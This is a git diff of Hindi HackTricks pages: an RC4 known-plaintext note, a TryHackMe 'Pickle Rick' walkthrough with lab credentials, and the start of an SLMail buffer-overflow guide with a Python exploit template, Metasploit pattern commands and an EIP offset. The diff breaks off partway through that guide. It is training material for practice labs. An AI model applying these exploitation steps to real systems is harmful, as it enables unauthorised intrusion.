* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में पीआर जमा करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,40 +1,22 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
यदि आप किसी plaintext को RC4 का उपयोग करके एन्क्रिप्ट कर सकते हैं, तो आप उसी RC4 (उसी पासवर्ड का उपयोग करते हुए) द्वारा एन्क्रिप्ट की गई किसी भी सामग्री को केवल एन्क्रिप्शन फंक्शन का उपयोग करके डिक्रिप्ट कर सकते हैं।
|
||||
यदि आप किसी प्लेनटेक्स्ट को RC4 का उपयोग करके एन्क्रिप्ट कर सकते हैं, तो आप उस RC4 द्वारा एन्क्रिप्ट किए गए किसी भी सामग्री को (एन्क्रिप्शन फ़ंक्शन का उपयोग करके) उसी पासवर्ड का उपयोग करके डिक्रिप्ट कर सकते हैं।
|
||||
|
||||
यदि आप एक ज्ञात plaintext को एन्क्रिप्ट कर सकते हैं, तो आप पासवर्ड भी निकाल सकते हैं। HTB Kryptos मशीन में और अधिक संदर्भ पाए जा सकते हैं:
|
||||
यदि आप किसी ज्ञात प्लेनटेक्स्ट को एन्क्रिप्ट कर सकते हैं तो आप पासवर्ड को भी निकाल सकते हैं। अधिक संदर्भ HTB Kryptos मशीन में मिल सकते हैं:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,33 +1,17 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* यदि आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**टेलीग्राम समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
* [Write-up factory](https://writeup.raw.pm/) - राइट-अप्स खोजने के लिए सर्च इंजन \(TryHackMe, HackTheBox, आदि.\)
|
||||
* [CTFtime Write-ups](https://ctftime.org/writeups) - CTFtime पर CTF इवेंट्स में जोड़े गए नवीनतम राइट-अप्स
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**टेलीग्राम समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
|
||||
</details>
|
||||
* [Write-up factory](https://writeup.raw.pm/) - Write-ups \(TryHackMe, HackTheBox, आदि\) खोजने के लिए सर्च इंजन
|
||||
* [CTFtime Write-ups](https://ctftime.org/writeups) - CTF इवेंट्स पर जोड़ी गई नवीनतम राइट-अप्स
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* अगर आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे [**@carlospolopm**](https://twitter.com/carlospolopm) पर **फॉलो करें**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,91 +1,91 @@
|
|||
# पिकल रिक
|
||||
# Pickle Rick
|
||||
|
||||
## पिकल रिक
|
||||
## Pickle Rick
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो बनाने के साथ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके.
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
![](../../.gitbook/assets/picklerick.gif)
|
||||
|
||||
यह मशीन आसान श्रेणी में थी और यह वास्तव में आसान थी।
|
||||
यह मशीन आसान श्रेणी में थी और यह काफी आसान थी।
|
||||
|
||||
## एन्युमरेशन
|
||||
## Enumeration
|
||||
|
||||
मैंने मेरे टूल [**Legion**](https://github.com/carlospolop/legion) का उपयोग करके मशीन का **एन्युमरेशन शुरू किया**:
|
||||
मैंने **मेरे उपकरण Legion का उपयोग करके मशीन का जाँच करना शुरू किया**:
|
||||
|
||||
![](<../../.gitbook/assets/image (79) (2).png>)
|
||||
|
||||
जैसा कि आप देख सकते हैं 2 पोर्ट्स खुले हैं: 80 (**HTTP**) और 22 (**SSH**)
|
||||
जैसा कि आप देख सकते हैं, 2 पोर्ट खुले हैं: 80 (**HTTP**) और 22 (**SSH**)
|
||||
|
||||
इसलिए, मैंने HTTP सेवा का एन्युमरेशन करने के लिए legion लॉन्च किया:
|
||||
इसलिए, मैंने HTTP सेवा का जाँच करने के लिए legion चालू किया:
|
||||
|
||||
![](<../../.gitbook/assets/image (234).png>)
|
||||
|
||||
ध्यान दें कि छवि में आप देख सकते हैं कि `robots.txt` में स्ट्रिंग `Wubbalubbadubdub` है
|
||||
छवि में देखें कि `robots.txt` में `Wubbalubbadubdub` स्ट्रिंग है
|
||||
|
||||
कुछ सेकंड्स के बाद मैंने जांच की कि `disearch` ने पहले ही क्या खोजा है:
|
||||
कुछ सेकंड के बाद मैंने देखा कि `disearch` ने पहले से क्या खोज लिया है:
|
||||
|
||||
![](<../../.gitbook/assets/image (235).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (236).png>)
|
||||
|
||||
और जैसा कि आप अंतिम छवि में देख सकते हैं एक **लॉगिन** पेज की खोज की गई थी।
|
||||
और जैसा कि आप आखिरी छवि में देख सकते हैं, एक **लॉगिन** पृष्ठ खोजा गया था।
|
||||
|
||||
रूट पेज के सोर्स कोड की जांच करने पर, एक यूजरनेम मिला: `R1ckRul3s`
|
||||
मूल पृष्ठ के स्रोत को जाँचते समय, एक उपयोगकर्ता खोजा गया: `R1ckRul3s`
|
||||
|
||||
![](<../../.gitbook/assets/image (237) (1).png>)
|
||||
|
||||
इसलिए, आप लॉगिन पेज पर `R1ckRul3s:Wubbalubbadubdub` क्रेडेंशियल्स का उपयोग करके लॉगिन कर सकते हैं
|
||||
इसलिए, आप `R1ckRul3s:Wubbalubbadubdub` क्रेडेंशियल का उपयोग करके लॉगिन कर सकते हैं लॉगिन पृष्ठ पर
|
||||
|
||||
## यूजर
|
||||
## User
|
||||
|
||||
उन क्रेडेंशियल्स का उपयोग करके आप एक पोर्टल तक पहुंचेंगे जहां आप कमांड्स निष्पादित कर सकते हैं:
|
||||
इन क्रेडेंशियल का उपयोग करके आप एक पोर्टल तक पहुँचेंगे जहाँ आप कमांड चला सकते हैं:
|
||||
|
||||
![](<../../.gitbook/assets/image (241).png>)
|
||||
|
||||
कुछ कमांड्स जैसे कि cat अनुमति नहीं हैं लेकिन आप पहला इंग्रेडिएंट (फ्लैग) पढ़ सकते हैं, उदाहरण के लिए grep का उपयोग करके:
|
||||
कुछ कमांड जैसे cat अनुमति नहीं हैं लेकिन आप grep का उपयोग करके पहला इंग्रीडिएंट (फ्लैग) पढ़ सकते हैं:
|
||||
|
||||
![](<../../.gitbook/assets/image (242).png>)
|
||||
|
||||
फिर मैंने उपयोग किया:
|
||||
फिर मैंने इस्तेमाल किया:
|
||||
|
||||
![](<../../.gitbook/assets/image (243) (1).png>)
|
||||
|
||||
रिवर्स शेल प्राप्त करने के लिए:
|
||||
एक रिवर्स शैल जानने के लिए:
|
||||
|
||||
![](<../../.gitbook/assets/image (239) (1).png>)
|
||||
|
||||
**दूसरा इंग्रेडिएंट** `/home/rick` में पाया जा सकता है
|
||||
**दूसरा इंग्रीडिएंट** `/home/rick` में पाया जा सकता है
|
||||
|
||||
![](<../../.gitbook/assets/image (240).png>)
|
||||
|
||||
## रूट
|
||||
## Root
|
||||
|
||||
यूजर **www-data कुछ भी सुडो के रूप में निष्पादित कर सकता है**:
|
||||
उपयोगकर्ता **www-data sudo के रूप में कुछ भी चला सकता है**:
|
||||
|
||||
![](<../../.gitbook/assets/image (238).png>)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो बनाने के साथ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके.
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,28 +1,30 @@
|
|||
# Windows Exploiting (मूल गाइड - OSCP स्तर)
|
||||
# Windows Exploiting (Basic Guide - OSCP lvl)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपनी ट्रिक्स साझा करें।**
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** PRs के माध्यम से [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
## **SLMail सेवा स्थापित करना शुरू करें**
|
||||
|
||||
## SLMail सेवा पुनः चालू करें
|
||||
## SLMail सेवा पुनः आरंभ करें
|
||||
|
||||
हर बार जब आपको **SLMail सेवा को पुनः चालू करने की आवश्यकता होती है**, आप विंडोज कंसोल का उपयोग करके इसे कर सकते हैं:
|
||||
हर बार जब भी आपको **सेवा SLMail को पुनः आरंभ करने की आवश्यकता** होती है, तो आप विंडो कंसोल का उपयोग करके इसे कर सकते हैं:
|
||||
```
|
||||
net start slmail
|
||||
```
|
||||
![](<../.gitbook/assets/image (23) (1).png>)
|
||||
|
||||
## बहुत साधारण पायथन शोध टेम्पलेट
|
||||
## बहुत ही मौलिक पायथन शोषण टेम्पलेट
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
|
@ -44,11 +46,11 @@ print "\nFinished!."
|
|||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
## **इम्यूनिटी डिबगर फ़ॉन्ट बदलें**
|
||||
## **इम्यूनिटी डीबगर फ़ॉन्ट बदलें**
|
||||
|
||||
`विकल्प >> दिखावट >> फ़ॉन्ट >> बदलें (कोंसोलास, बोल्ड, 9) >> ठीक`
|
||||
`विकल्प >> दिखावट >> फ़ॉन्ट >> बदलें(कंसोलस, बोल्ड, 9) >> ठीक है`
|
||||
|
||||
## **प्रक्रिया को इम्यूनिटी डिबगर से जोड़ें:**
|
||||
## **प्रक्रिया को इम्यूनिटी डीबगर से जोड़ें:**
|
||||
|
||||
**फ़ाइल --> जोड़ें**
|
||||
|
||||
|
@ -56,23 +58,23 @@ print "Could not connect to "+ip+":"+port
|
|||
|
||||
**और स्टार्ट बटन दबाएं**
|
||||
|
||||
## **एक्सप्लॉइट भेजें और देखें कि EIP प्रभावित होता है:**
|
||||
## **एक्सप्लॉइट भेजें और जांचें कि क्या ईआईपी प्रभावित है:**
|
||||
|
||||
![](<../.gitbook/assets/image (25) (1) (1).png>)
|
||||
|
||||
हर बार जब आप सेवा को ब्रेक करते हैं, तो आपको उसे पुनः आरंभ करना चाहिए, जैसा कि इस पृष्ठ की शुरुआत में इंगित किया गया है।
|
||||
हर बार जब आप सेवा को तोड़ते हैं, तो आपको इस पृष्ठ के शुरू में दिखाया गया है कि आपको इसे पुनः प्रारंभ करना चाहिए।
|
||||
|
||||
## EIP को संशोधित करने के लिए एक पैटर्न बनाएं
|
||||
## ईआईपी को संशोधित करने के लिए एक पैटर्न बनाएं
|
||||
|
||||
पैटर्न उसी बफर के बराबर होना चाहिए जिसे आपने पहले सेवा को तोड़ने के लिए उपयोग किया था।
|
||||
पैटर्न उस बफर के बराबर होना चाहिए जिसका आपने पहले सेवा को तोड़ने के लिए उपयोग किया था।
|
||||
|
||||
![](<../.gitbook/assets/image (26) (1) (1).png>)
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||||
```
|
||||
एक्सप्लॉइट के बफर को बदलें और पैटर्न सेट करें और एक्सप्लॉइट चलाएं।
|
||||
एक्सप्लॉइट का बफर बदलें और पैटर्न सेट करें और एक्सप्लॉइट चालू करें।
|
||||
|
||||
एक नया क्रैश दिखाई देना चाहिए, लेकिन एक अलग EIP पता होगा:
|
||||
एक नया क्रैश होना चाहिए, लेकिन एक अलग EIP पता होना चाहिए:
|
||||
|
||||
![](<../.gitbook/assets/image (27) (1) (1).png>)
|
||||
|
||||
|
@ -82,41 +84,41 @@ print "Could not connect to "+ip+":"+port
|
|||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||||
```
|
||||
ऐसा लगता है कि हम बफर के ऑफसेट 2606 में EIP को संशोधित कर सकते हैं।
|
||||
लगता है **हम बफर के ऑफसेट 2606 में EIP को संशोधित कर सकते हैं**।
|
||||
|
||||
इसे जांचने के लिए एक्सप्लॉइट के बफर को संशोधित करें:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||
```
|
||||
इस बफर के साथ EIP क्रैश 42424242 ("BBBB") परिभाषित होना चाहिए।
|
||||
इस बफर के साथ EIP क्रैश होना चाहिए जिसे 42424242 ("BBBB") पर पहुंचना चाहिए।
|
||||
|
||||
![](<../.gitbook/assets/image (30) (1) (1).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (29) (1) (1).png>)
|
||||
|
||||
ऐसा लगता है कि यह काम कर रहा है।
|
||||
